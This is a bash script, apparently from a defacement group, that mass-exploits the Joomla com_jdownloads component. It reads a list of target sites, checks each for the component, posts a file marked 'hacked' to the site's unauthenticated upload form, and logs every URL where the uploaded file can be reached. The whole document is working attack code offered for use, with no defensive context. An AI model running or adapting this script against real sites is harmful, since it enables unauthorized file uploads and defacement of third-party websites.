exploit com_jdownloads

#!/bin/bash
#coded = Gantengers Crew
UploadJD(){
curl --silent --max-time 10 --connect-timeout 10 -o tmp/resp.txt \
-H "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)" \
-H "Accept-Language: en-us,en;q=0.5" \
-H "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" \
-F "name=defacerid" \
-F "mail=haxorid@gmail.com" \
-F "catlist=1" \
-F "file_upload=@doczxcvbnm.zip" \
-F "filetitle=document" \
-F "description=id" \
-F "0537bf34386f2f179b57f09ed020e2c0=1" \
-F "send=1" \
-F "senden=Send file" \
-F "description=defacerid" \
-F "option=com_jdownloads" \
-F "view=upload" \
-F "pic_upload=@${namafile}" \
--request POST "http://${1}/index.php?option=com_jdownloads&Itemid=0&view=upload"
}
CD(){
curl --silent --max-time 10 --connect-timeout 10 "http://${1}/images/jdownloads/screenshots/${namafile}" -o tmp/cd.txt
if [ ! -f tmp/cd.txt ];then
echo "--> $urlnya : RTO"
continue
fi
cat tmp/cd.txt | grep -i "hacked" > /dev/null;cd=$?
if [ $cd -eq 0 ];then
echo "--> ${1}/images/jdownloads/screenshots/${namafile} : exploit success"
echo "http://${1}/images/jdownloads/screenshots/${namafile}" >> success.txt
else
echo "--> $urlnya : exploit failed"
fi
rm -f tmp/cd.txt
}
CV(){
curl --silent --max-time 10 --connect-timeout 10 "http://${1}/components/com_jdownloads/jdownloads.js" -o tmp/cv.txt
if [ ! -f tmp/cv.txt ];then
echo "--> $urlnya : RTO"
continue
fi
cat tmp/cv.txt | grep "document.uploadForm.file_upload.value\|com_jdownloads\|Toggles the check state of a group of boxes" > /dev/null;cv=$?
if [ $cv -eq 1 ];then
echo "--> $urlnya : not vuln"
rm -f tmp/cv.txt
continue
else
echo "--> $urlnya : found com_jdownloads"
fi
}
Exp(){
for url in `cat $list`
do
urlnya=$(echo $url | awk '{gsub("http://","")}1' | awk '{gsub("https://","")}1' | awk '{gsub("//","/")}1' | awk '{gsub("//","/")}1')
if [ ! -f load.txt ];then
 touch load.txt
fi
cat load.txt | grep "$urlnya" > /dev/null;ccl=$?
if [ $ccl -eq 1 ];then
echo $urlnya >> load.txt
else
#udah pernah di load di file load.txt
#kalau mau load ulang,silakan hapus file load.txt
continue
fi
echo "--> $urlnya : check"
CV $urlnya
UploadJD $urlnya
CD $urlnya
done
}
Lengkap(){
if [ ! -d tmp ];then
mkdir tmp
fi
if [ ! -f $namefile ];then
echo "[?] file $namafile gak ada"
exit
fi
if [ ! -f $list ];then
echo "[?] file $list gak ada"
exit
fi
cat $namafile | grep -i "hacked" > /dev/null;chh=$?
if [ $chh -eq 1 ];then
echo "hacked" >> $namafile
fi
echo "zip" > doczxcvbnm.zip
}
read -p "[+] Enter name of gif = " namafile
read -p "[+] Enter list target = " list
Lengkap
Exp